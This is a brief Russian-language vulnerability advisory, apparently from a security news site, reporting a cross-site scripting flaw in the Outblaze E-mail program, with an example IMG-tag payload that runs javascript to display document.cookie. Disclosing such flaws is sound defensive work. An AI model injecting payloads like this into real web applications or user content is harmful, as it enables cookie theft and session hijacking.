Рекомендуем почитать:


Пентест WEB: практический курс для начинающих
Программа: Outblaze E-mail
Уязвимость в Outblaze E-mail позволяет удаленному пользователю выполнить XSS нападение.
Пример:
<IMG SRC="javascript:alert (document.cookie)";" border="0"
height="1" width="1">